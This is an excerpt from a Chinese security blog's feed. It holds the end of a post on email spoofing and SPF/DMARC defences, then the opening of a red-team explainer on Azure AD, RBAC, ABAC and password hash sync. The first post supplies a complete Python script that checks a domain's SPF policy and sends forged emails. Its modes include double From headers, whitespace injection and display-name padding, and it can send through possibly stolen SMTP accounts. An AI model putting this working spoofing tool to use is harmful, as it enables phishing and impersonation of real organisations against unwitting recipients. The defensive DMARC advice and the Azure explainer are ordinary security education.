&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;DKIM (防篡改)&lt;/strong&gt; ： 这就好比给信封加了个封泥。发信时服务器用私钥盖个章，收信时验证一下。这样别人就不能在中途偷偷改你的邮件内容了。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DMARC (终极BOSS)&lt;/strong&gt; ： 这才是解决“信封信纸不一致”的唯一解药。 DMARC 就像是给保安下了一道死命令： &lt;strong&gt;“必须拆开信封检查！如果信纸上的落款跟信封对不上，直接把信给我撕了！”&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;建议配置&lt;/em&gt;：&lt;code&gt;v=DMARC1; p=reject; aspf=s; adkim=s;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;注意&lt;/em&gt;：别上来就 Reject，不然你们公司的市场部发不出去邮件会来砍你。先开 &lt;code&gt;p=none&lt;/code&gt; 观察几天，再慢慢收紧。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h5&gt;4. 总结一句&lt;/h5&gt;
&lt;p&gt;邮件安全其实不难，难的是很多人还在用几十年前的老眼光看问题。 &lt;strong&gt;信任是脆弱的。&lt;/strong&gt;  在这个零信任的时代，永远不要相信“发件人”那一行字，除非 DMARC 告诉你：它是真的。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;提供一个我写的测试脚本：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import dns.resolver
import smtplib
import argparse
import sys
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formatdate, formataddr
from email.header import Header

def check_spf(domain):
    &quot;&quot;&quot;
    检查目标域名的 SPF 记录
    &quot;&quot;&quot;
    print(f&quot;[*] 正在检查域名: {domain}&quot;)
    try:
        answers = dns.resolver.resolve(domain, &apos;TXT&apos;)
        spf_record = None
        for rdata in answers:
            txt_string = rdata.to_text().strip(&apos;&quot;&apos;)
            if &apos;v=spf1&apos; in txt_string:
                spf_record = txt_string
                break
        
        if spf_record:
            print(f&quot;[+] 发现 SPF 记录: {spf_record}&quot;)
            return spf_record
        else:
            print(&quot;[-] 未发现 SPF 记录。域名可能容易受到欺骗攻击。&quot;)
            return None
    except Exception as e:
        print(f&quot;[-] DNS 查询失败 (可能无记录): {e}&quot;)
        return None

def analyze_spf(spf_record):
    &quot;&quot;&quot;
    分析 SPF 记录的安全性
    &quot;&quot;&quot;
    print(&quot;\n--- SPF 策略分析 ---&quot;)
    if not spf_record:
        print(&quot;[-] 未发现 SPF 记录: 极其危险！任何人都可以伪造该域名的邮件。&quot;)
        return True # 无记录，易受攻击

    if &quot;-all&quot; in spf_record:
        print(&quot;[*] 策略模式: Hard Fail (-all)&quot;)
        print(&quot;    解释: 硬拒绝。明确告知收件方‘不在白名单的 IP 统统拒绝’。&quot;)
        print(&quot;    伪造难度: ⭐⭐⭐⭐⭐ (极高)&quot;)
        print(&quot;    注意: 除非你有 DMARC 绕过漏洞 (Header From 欺骗)，否则直接伪造 IP 会失败。&quot;)
        return False
    elif &quot;~all&quot; in spf_record:
        print(&quot;[!] 策略模式: Soft Fail (~all)&quot;)
        print(&quot;    解释: 软拒绝。不在白名单的 IP 也可以发，但会被标记为‘可疑’或垃圾邮件。&quot;)
        print(&quot;    伪造难度: ⭐⭐⭐ (一般)&quot;)
        print(&quot;    注意: 邮件能发出去，但大概率进垃圾箱。&quot;)
        return True
    elif &quot;?all&quot; in spf_record:
        print(&quot;[!] 策略模式: Neutral (?all)&quot;)
        print(&quot;    解释: 中立。不置可否，通常会被接收方放行进入收件箱。&quot;)
        print(&quot;    伪造难度: ⭐ (低)&quot;)
        return True
    elif &quot;+all&quot; in spf_record:
        print(&quot;[!!!] 策略模式: Allow All (+all)&quot;)
        print(&quot;    解释: 允许所有。大门敞开，任何人都可以合法伪造。&quot;)
        print(&quot;    伪造难度: ☠️ (无)&quot;)
        return True
    else:
        print(&quot;[?] 未检测到明确的 &apos;all&apos; 策略，默认安全策略未知，可能允许。&quot;)
        return True

def send_fake_email(sender_domain, sender_address, target_email, smtp_host, smtp_port, smtp_user, smtp_pass, use_ssl, obfuscate=False, sender_name=&quot;System Admin&quot;, exploit_type=&apos;none&apos;):
    &quot;&quot;&quot;
    发送邮件 function
    &quot;&quot;&quot;
    # 如果未指定具体的发件人地址，默认伪造 admin@domain
    if not sender_address:
         sender_address = f&quot;admin@{sender_domain}&quot;

    subject = f&quot;Work Report: {sender_domain}&quot;
    body = f&quot;&quot;&quot;
    Hello,
    
    This is a routine system notification.
    
    Sender: {sender_address}
    Server: {smtp_host}
    
    Please confirm receipt.
    
    Best regards,
    {sender_name}
    &quot;&quot;&quot;

    msg = MIMEMultipart()
    
    # --- 构造 From 头 (核心攻击逻辑) ---
    fake_from = formataddr((Header(sender_name, &apos;utf-8&apos;).encode(), sender_address))
    
    # 真实发件人 (用于欺骗过滤器) - 如果有认证用户，通常是认证用户
    real_user = smtp_user if smtp_user else sender_address
    real_from = formataddr((Header(&quot;Legit Sender&quot;, &apos;utf-8&apos;).encode(), real_user))

    if exploit_type == &apos;double-from&apos;:
        print(&quot;[!] 正在使用 USENIX&apos;21 攻击: Double From Headers (双重头)&quot;)
        # 插入两个 From 头
        # 许多邮件系统在处理重复头时存在差异：有的看第一个，有的看最后一个。
        # 策略：第一个放伪造的（给用户看），第二个放真实的（给 SPF/DMARC 看）
        msg.add_header(&apos;From&apos;, fake_from) 
        msg.add_header(&apos;From&apos;, real_from)
        
    elif exploit_type == &apos;space-injection&apos;:
        print(&quot;[!] 正在使用 USENIX&apos;21 攻击: Whitespace Injection (空格注入)&quot;)
        # 在邮箱地址尾部注入空格 &quot;admin@baidu.com &quot;
        # 某些解析器会包含空格导致正则匹配失败（从而绕过黑名单），但底层投递时又去掉空格。
        malformed_address = f&quot;{sender_address} &quot; # 注意这里的空格
        # 需要手动构造，因为 formataddr 可能会自动修正
        msg[&apos;From&apos;] = f&quot;{Header(sender_name, &apos;utf-8&apos;).encode()} &amp;#x3C;{malformed_address}&gt;&quot;
        
    elif obfuscate:
        # 腾讯云文章思路: From 字段名截断绕过
        print(&quot;[!] 正在应用 Header 混淆 (Padding)...&quot;)
        padding = &quot; &quot; * 500  
        display_name = f&quot;{sender_name} from {sender_domain}&quot; + padding
        msg[&apos;From&apos;] = formataddr((display_name, sender_address))
    else:
        # 默认模式
        encoded_name = Header(sender_name, &apos;utf-8&apos;).encode()
        msg[&apos;From&apos;] = formataddr((encoded_name, sender_address))
        
    msg[&apos;To&apos;] = target_email
    msg[&apos;Subject&apos;] = subject
    msg[&apos;Date&apos;] = formatdate(localtime=True)
    msg.attach(MIMEText(body, &apos;plain&apos;))

    print(&quot;\n&quot; + &quot;=&quot;*40)
    print(f&quot;[*] 准备发送邮件...&quot;)
    print(f&quot;    SMTP 服务器: {smtp_host}:{smtp_port} (SSL: {use_ssl})&quot;)
    print(f&quot;    认证用户: {smtp_user if smtp_user else &apos;无 (匿名)&apos;}&quot;)
    print(f&quot;    伪造发件人 (From): {sender_address}&quot;)
    print(f&quot;    目标收件人 (To):   {target_email}&quot;)
    print(&quot;=&quot;*40)

    try:
        server = None
        if use_ssl:
            server = smtplib.SMTP_SSL(smtp_host, smtp_port, timeout=10)
        else:
            server = smtplib.SMTP(smtp_host, smtp_port, timeout=10)
            # 尝试 StartTLS
            try:
                server.starttls()
            except:
                pass 

        # 登录 (如果提供了密码)
        if smtp_user and smtp_pass:
            print(&quot;[*] 正在登录 SMTP 服务器...&quot;)
            server.login(smtp_user, smtp_pass)
            print(&quot;[+] 登录成功&quot;)

        # 发送
        # 注意: 真实的信封发件人 (MAIL FROM) 通常由 SMTP 服务器根据登录账号强制指定 (如 QQ 设置为登录邮箱)
        # 但我们可以在 DATA 内容中修改 &apos;From&apos; 头来尝试欺骗客户端显示
        
        # 为了测试“通过被盗用的/合法的SMTP服务器发送伪造邮件”，
        # 通常 SMTP 服务器会强制 MAIL FROM 为登录用户，但可能允许 Header From 不同。
        envelope_sender = smtp_user if smtp_user else sender_address

        server.sendmail(envelope_sender, target_email, msg.as_string())
        server.quit()
        print(&quot;[+] 邮件发送成功！请检查收件箱 (包括垃圾箱)。&quot;)
        
    except smtplib.SMTPAuthenticationError:
        print(&quot;[-] 认证失败：用户名或授权码错误。对于 QQ 邮箱，请确保使用的是授权码而不是 QQ 密码。&quot;)
    except Exception as e:
        print(f&quot;[-] 发送失败: {str(e)}&quot;)

def main():
    parser = argparse.ArgumentParser(description=&quot;SPF 伪造测试工具 (支持 SMTP 认证)&quot;)
    
    parser.add_argument(&quot;domain&quot;, help=&quot;要测试的目标域名 (例如 company.com)&quot;)
    parser.add_argument(&quot;--to&quot;, help=&quot;接收测试邮件的邮箱地址&quot;)
    parser.add_argument(&quot;--sender&quot;, help=&quot;伪造的发件人地址 (可选，默认 admin@domain)&quot;)
    
    # SMTP 配置
    parser.add_argument(&quot;--smtp-host&quot;, default=&quot;127.0.0.1&quot;, help=&quot;SMTP 服务器地址 (默认 127.0.0.1)&quot;)
    parser.add_argument(&quot;--smtp-port&quot;, type=int, default=25, help=&quot;SMTP 端口 (QQ SSL 用 465)&quot;)
    parser.add_argument(&quot;--user&quot;, help=&quot;SMTP 认证用户名 (例如 your_qq@qq.com)&quot;)
    parser.add_argument(&quot;--password&quot;, help=&quot;SMTP 认证密码/授权码&quot;)
    parser.add_argument(&quot;--ssl&quot;, action=&quot;store_true&quot;, help=&quot;使用 SSL 连接 (QQ 邮箱必须开启)&quot;)
    parser.add_argument(&quot;--obfuscate&quot;, action=&quot;store_true&quot;, help=&quot;[进阶] 使用超长字符填充 From 头 (尝试绕过客户端显示)&quot;)
    parser.add_argument(&quot;--name&quot;, default=&quot;System Admin&quot;, help=&quot;伪造的发件人显示名称 (例如 &apos;IT 安全中心&apos;)&quot;)
    parser.add_argument(&quot;--exploit-type&quot;, choices=[&apos;none&apos;, &apos;double-from&apos;, &apos;space-injection&apos;], default=&apos;none&apos;, help=&quot;[核弹级] USENIX&apos;21 论文攻击模式: double-from (双头欺骗), space-injection (空格注入)&quot;)

    args = parser.parse_args()

    # 自动处理用户可能输入的邮箱地址 (如 test@domain.com -&gt; domain.com)
    if &quot;@&quot; in args.domain:
        print(f&quot;[!] 检测到输入了邮箱地址 {args.domain}，自动截取域名部分...&quot;)
        args.domain = args.domain.split(&quot;@&quot;)[-1]

    # 步骤 1: 检查 SPF
    record = check_spf(args.domain)
    is_vulnerable = analyze_spf(record)

    # 步骤 2: 发送测试 (如果提供了接收者)
    if args.to:
        if not is_vulnerable:
             print(&quot;\n&quot; + &quot;!&quot;*50)
             print(&quot;[警告] 该域名 SPF 配置非常严格 (-all)。&quot;)
             print(&quot;       直接的 IP 伪造大概率会失败 (550 Error) 或被拦截。&quot;)
             print(&quot;       除非你正在测试 &apos;DMARC 绕过/信头欺骗&apos; (使用真实账号发信)，否则请做好失败准备。&quot;)
             print(&quot;!&quot;*50 + &quot;\n&quot;)
             
        send_fake_email(
            sender_domain=args.domain, 
            sender_address=args.sender,
            target_email=args.to,
            smtp_host=args.smtp_host,
            smtp_port=args.smtp_port,
            smtp_user=args.user,
            smtp_pass=args.password,
            use_ssl=args.ssl,
            obfuscate=args.obfuscate,
            sender_name=args.name,
            exploit_type=args.exploit_type
        )
    else:
        print(&quot;\n[*] 未提供 --to 参数，仅进行 SPF 检查。如需发送测试，请添加该参数。&quot;)

if __name__ == &quot;__main__&quot;:
    main()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;‍&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>红队视角下的AzureAD攻防</title><link>https://astro-pure.js.org/blog/azure-ad-attacks-redteam</link><guid isPermaLink="true">https://astro-pure.js.org/blog/azure-ad-attacks-redteam</guid><description>红队视角下的AzureAD攻防</description><pubDate>Wed, 24 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;红队视角下的AzureAD攻防&lt;/h1&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;h2&gt;AzureAD/Azure/AD&lt;/h2&gt;
&lt;p&gt;　　Azure AD，是微软提供的一种基于云的身份和访问管理 (IAM) 解决方案。它可以帮助组织安全地管理员工、合作伙伴和客户对应用程序和资源的访问。&lt;/p&gt;
&lt;p&gt;　　注:2023 年 6 月 21 日起，Azure AD，现在正式更名为 Microsoft Entra ID，但是以下，我还是将他称为 AzureAD。&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;Microsoft Azure ID 的主要功能包括：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;身份验证和授权：&lt;/strong&gt;  验证用户身份并控制他们对资源的访问权限。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;单点登录 (SSO)：&lt;/strong&gt;  用户使用一组凭据访问多个应用程序。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多重身份验证 (MFA)：&lt;/strong&gt;  通过要求额外的验证因素（如短信验证码或指纹）来增强安全性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;设备管理：&lt;/strong&gt;  管理和保护连接到组织网络的设备。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自助服务密码重置：&lt;/strong&gt;  用户可以自行重置密码，无需联系 IT 支持。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;与本地 Active Directory 集成：&lt;/strong&gt;  将云身份管理与本地身份管理相结合。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703082894-959c0d.CtQORCoi.png&amp;#x26;w=605&amp;#x26;h=274&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;h3&gt;AD or AAD？&lt;/h3&gt;
&lt;p&gt;　　这是一个很有趣的问题，首先分清楚两者之间的一个功能性概念。&lt;/p&gt;
&lt;p&gt;　　AD:“Active Directory&quot;的缩写，简单来说就是本地域服务，Windows Active Directory 主要使用 Kerberos 身份验证协议和 LDAP ，基于访问控制列表 ACL 作为其目录服务的一部分对用户进行身份验证。&lt;/p&gt;
&lt;p&gt;　　AAD：”Azure Active Directory”利用的是 SAML、OAuth 2.0、OpenID Connect 协议基于角色访问控制 RBAC 模型和条件访问控制来完成。&lt;/p&gt;
&lt;p&gt;| 特性 | Windows AD（Active Directory） | Azure AD（Microsoft Entra ID） |
| --- | --- | --- |
| 部署类型 | 本地部署，需要在组织的服务器上安装和维护 | 云部署，由 Microsoft 托管和维护 |
| 主要用途 | 管理本地 Windows 环境中的用户、计算机和资源，例如文件服务器、打印机和应用程序 | 管理云应用程序和资源的访问，例如 Microsoft 365、Azure 服务和 SaaS 应用程序 |
| 身份验证协议 | Kerberos、NTLM | SAML、WS-Federation、OAuth 2.0、OpenID Connect |
| 目录结构 | 基于树状结构的组织单位 (OU) | 基于扁平结构的组 |
| 组策略 | 支持组策略对象 (GPO)，用于集中管理 Windows 设置和配置 | 不直接支持组策略，但可以使用 Intune 等工具实现类似功能 |
| 访问控制 | 基于访问控制列表 (ACL) | 基于角色的访问控制 (RBAC) 和条件访问策略 |
| 单点登录 (SSO) | 支持本地应用程序的 SSO，但需要额外的配置 | 支持云应用程序的 SSO，通常开箱即用 |
| 多重身份验证 (MFA) | 支持 MFA，但需要额外的配置 | 支持 MFA，并且易于配置 |
| 自助服务 | 支持自助服务密码重置和解锁帐户，但需要额外的配置 | 支持自助服务密码重置、解锁帐户和注册设备，通常开箱即用 |
| 许可模式 | 通常作为 Windows Server 操作系统的一部分提供，需要购买 Windows Server 许可证 | 提供免费版和付费版，付费版提供更多高级功能 |
| 适用场景 | 适用于主要使用本地 Windows 应用程序和资源的组织，或者需要严格控制本地环境的组织 | 适用于主要使用云应用程序和资源的组织，或者需要灵活、可扩展的身份和访问管理解决方案的组织 |
| 集成 | 可以与 Azure AD 集成，实现混合身份管理 | 可以与 Windows AD 集成，实现混合身份管理 |
| 其他功能 | 提供其他功能，如 DNS、DHCP 和证书服务 | 提供其他功能，如设备管理、应用程序代理、自助服务组管理和动态组 |&lt;/p&gt;
&lt;p&gt;　　所以 AD 和 AAD 不是一个完全相同的东西，唯一的相同之处就是都是一个提供信任服务的模式。&lt;/p&gt;
&lt;p&gt;　　传统的 AD 模式更适合引管理本地域计算机,而 AAD 模式更适合管理需要频繁用到云上资源的场景。&lt;/p&gt;
&lt;p&gt;　　这里又申引出来一个概念，即 Azure AD 和 Azure 的关系。&lt;/p&gt;
&lt;h3&gt;Azure or Azure AD？&lt;/h3&gt;
&lt;p&gt;　　Azure 是微软家族很大的一个云服务平台，而 AzureAD 只是其中的一个产品之一。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703082971-3b6390.D876x2Ky.png&amp;#x26;w=910&amp;#x26;h=500&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703083036-813b38.gyGj9bB4.png&amp;#x26;w=1303&amp;#x26;h=776&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　从上述的图中我们可以看出 Azure 和 Azure AD 还有资源组之间的关系，&lt;/p&gt;
&lt;p&gt;　　假设一个场景用户采用了混合身份环境，并且 office365 模式，那么 Azure AD 是负责云端身份验证，Azure AD 为 Office 365 提供身份验证和授权服务，其中通过 RBAC 模型来确定用户对 Azure 资源的访问权限，如果正确即可通过 Azure AD 的凭据登录 Office 365。&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　那么什么是 RBAC 模型，我们接着往下看。&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;h3&gt;RBAC&lt;/h3&gt;
&lt;p&gt;　　RBAC 是基于角色的访问控制服务，用于管理用户对 Azure 资源的访问，包括他们可以对这些资源做什么以及他们可以访问哪些区域。&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;RBAC 的核心概念：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;角色 (Role):&lt;/strong&gt;  一组权限的集合。例如，“虚拟机管理员”角色可能拥有创建、启动、停止虚拟机的权限。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;权限 (Permission):&lt;/strong&gt;  对特定资源执行特定操作的能力。例如，对虚拟机的“启动”权限。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分配 (Assignment):&lt;/strong&gt;  将角色分配给用户或组，使用户或组继承该角色的所有权限。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703083118-318eb4.LE6WTqX5.png&amp;#x26;w=962&amp;#x26;h=1017&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　这张图展示了 Azure 基于角色的访问控制（RBAC）的工作原理，详细说明如下：&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;1. 安全主体（Security Principal）：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;安全主体是可以分配 Azure 角色的实体，包括：
&lt;ul&gt;
&lt;li&gt;用户（User）：Azure AD 中的个人用户。&lt;/li&gt;
&lt;li&gt;组（Group）：Azure AD 中的一组用户。&lt;/li&gt;
&lt;li&gt;服务主体（Service Principal）：代表应用程序或服务的身份。&lt;/li&gt;
&lt;li&gt;托管标识（Managed Identity）：Azure 资源的自动管理身份。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;在图中，安全主体是一个名为“Marketing Group”的组。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　&lt;strong&gt;2. 角色定义（Role Definition）：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;角色定义是一组权限的集合，描述了拥有该角色的实体可以对 Azure 资源执行的操作。&lt;/li&gt;
&lt;li&gt;Azure RBAC 提供了许多内置角色，例如：
&lt;ul&gt;
&lt;li&gt;拥有者（Owner）：对资源具有完全访问权限。&lt;/li&gt;
&lt;li&gt;参与者（Contributor）：可以创建和管理资源，但不能授予访问权限。&lt;/li&gt;
&lt;li&gt;读取者（Reader）：只能查看资源，不能修改。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;还可以创建自定义角色，以满足特定的需求。&lt;/li&gt;
&lt;li&gt;在图中，“Contributor”角色被分配给 Marketing Group，这意味着该组的成员可以对资源进行修改，但不能授予访问权限。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　&lt;strong&gt;3. 角色分配（Role Assignment）：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;角色分配是将角色定义与安全主体和作用域关联起来的过程。&lt;/li&gt;
&lt;li&gt;通过角色分配，您可以控制哪些安全主体可以在哪些作用域内执行哪些操作。&lt;/li&gt;
&lt;li&gt;在图中，&quot;Contributor&quot;角色被分配给 Marketing Group，作用域是名为&quot;pharma-sales&quot;的资源组。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　&lt;strong&gt;4. 作用域（Scope）：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;作用域是 RBAC 应用的范围，可以是：
&lt;ul&gt;
&lt;li&gt;管理组（Management Group）：包含多个订阅的容器。&lt;/li&gt;
&lt;li&gt;订阅（Subscription）：Azure 服务的基本计费单位。&lt;/li&gt;
&lt;li&gt;资源组（Resource Group）：包含相关 Azure 资源的逻辑容器。&lt;/li&gt;
&lt;li&gt;单个资源（Individual Resource）：例如虚拟机、存储帐户等。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;在图中，作用域是名为&quot;pharma-sales&quot;的资源组，这意味着 Marketing Group 的成员只能在这个资源组内行使&quot;Contributor&quot;角色的权限。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703083235-08afaa.L0Q3AFqA.png&amp;#x26;w=952&amp;#x26;h=747&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　同时一个一个 User/Group 是可以被多个 Role 所绑定的。&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;h3&gt;ABAC&lt;/h3&gt;
&lt;p&gt;　　ABAC 是另一种访问控制模型，与 RBAC 相比，它提供了更细粒度、更灵活的权限管理方式。&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;ABAC 的核心概念：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;属性 (Attribute):&lt;/strong&gt;  描述主体（用户、组、应用程序等）、资源（文件、数据、服务等）或环境（时间、位置、网络等）的特征。例如，用户的部门、职称、安全许可等级，资源的类型、敏感度、创建日期，环境的 IP 地址、设备类型等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;策略 (Policy):&lt;/strong&gt;  一组规则，定义了在满足特定条件时允许或拒绝访问。策略通常使用属性来表达条件，例如，“允许市场部员工在工作时间访问市场数据”。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　我用一个图来解释这种行为：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703083315-89cd4b.DFgz1tmN.png&amp;#x26;w=1024&amp;#x26;h=1106&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;允许访问市场数据：&lt;/strong&gt;  这是策略的具体内容，说明了在什么条件下允许访问市场数据。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主体、资源、环境：&lt;/strong&gt;  这是 ABAC 模型的三个核心要素，分别表示访问者、被访问对象和访问环境。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;部门、数据类型、时间、星期几：&lt;/strong&gt;  这是具体属性，用于描述主体、资源和环境的特征。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;市场部、市场数据、9:00-17:00、周一-周五：&lt;/strong&gt;  这是属性的具体值，用于限定访问条件。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　逻辑关系就是：&lt;/p&gt;
&lt;p&gt;　　只有当以下三个条件同时满足时，才允许访问市场数据：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;主体&lt;/strong&gt;的部门属性为“市场部”。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;资源&lt;/strong&gt;的数据类型属性为“市场数据”。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;环境&lt;/strong&gt;的时间属性在 9:00-17:00 之间，且星期几属性为周一至周五。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;　　我认为这一块和基于资源的约束委派定义差不多。&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;h2&gt;Azure AD Connect 架构与工作原理&lt;/h2&gt;
&lt;h3&gt;Azure AD Connect 功能概述&lt;/h3&gt;
&lt;p&gt;　　Azure AD Connect 是微软提供的一个工具，用于在本地 Active Directory (AD) 和 Azure Active Directory (Azure AD) 之间建立混合身份集成。&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;Azure AD Connect 功能：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;密码哈希同步 (Password Hash Synchronization, PHS):&lt;/strong&gt;  将本地 AD 用户的密码哈希同步到 Azure AD，使用户可以使用相同的密码登录到本地和云端服务。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;传递身份验证 (Pass-through Authentication, PTA):&lt;/strong&gt;  允许用户使用其本地 AD 凭据直接登录到 Azure AD，无需在云端存储密码哈希。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;联合身份验证 (Federation):&lt;/strong&gt;  将身份验证请求重定向到本地 AD FS (Active Directory Federation Services) 或第三方身份提供商 (IdP)，实现更高级的身份验证和授权方案。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;三种同步方式&lt;/h3&gt;
&lt;h4&gt;PHS&lt;/h4&gt;
&lt;h5&gt;哈希同步的原理和风险&lt;/h5&gt;
&lt;p&gt;　　密码哈希同步 (PHS) 是 AzureAD Connect 的一项功能- 它是最容易实现的身份验证选项，也是默认选项。PHS 的工作方式是，每当在本地更改密码时，来自 Active Directory 的密码哈希就会同步到 Azure AD 中。&lt;/p&gt;
&lt;p&gt;　　注意点一点是，通过 Azure AD 修改用户密码时，新的密码不会同步回本地 AD。PHS 机制是单向的，仅支持将本地 AD 的密码哈希值同步到 Azure AD，而不支持从 Azure AD 同步回本地 AD。要使密码在 Azure AD 和本地 AD 之间双向同步，需使用其他机制如密码写回 (Password Writeback) 功能。然而，密码写回功能需要 Azure AD Premium P1 或 P2 许可证，并且需要在 Azure AD Connect 中配置。&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　他的原理如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;获取密码哈希：&lt;/strong&gt;  Azure AD Connect 从本地 Active Directory (AD) 中读取用户的密码哈希值。密码哈希是通过对用户密码应用单向加密算法（如 NTLM 或 Kerberos）生成的固定长度字符串。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;处理密码哈希：&lt;/strong&gt;  为了增强安全性，Azure AD Connect 会对获取到的密码哈希进行一些额外的处理，包括：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;加盐 (Salting):&lt;/strong&gt;  在密码哈希中添加随机字符串（盐），以防止彩虹表攻击。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不可逆加密：&lt;/strong&gt;  对加盐后的密码哈希再次应用单向加密算法，使得无法从云端哈希还原出原始密码。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;同步到 Azure AD：&lt;/strong&gt;  Azure AD Connect 将处理后的密码哈希安全地同步到 Azure AD，只同步自上次同步以来发生更改的密码哈希。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用户登录验证：&lt;/strong&gt;  当用户尝试登录 Azure AD 或 Office 365 等云服务时，Azure AD 会将用户输入的密码进行相同的哈希处理，然后与存储在 Azure AD 中的密码哈希进行比较。如果两个哈希值匹配，则验证通过，允许用户登录。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　同步操作会半小时进行一次，当加入混合模式后，会发生什么？&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1728703083371-b03a26.Si9VnOYx.png&amp;#x26;w=1224&amp;#x26;h=474&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
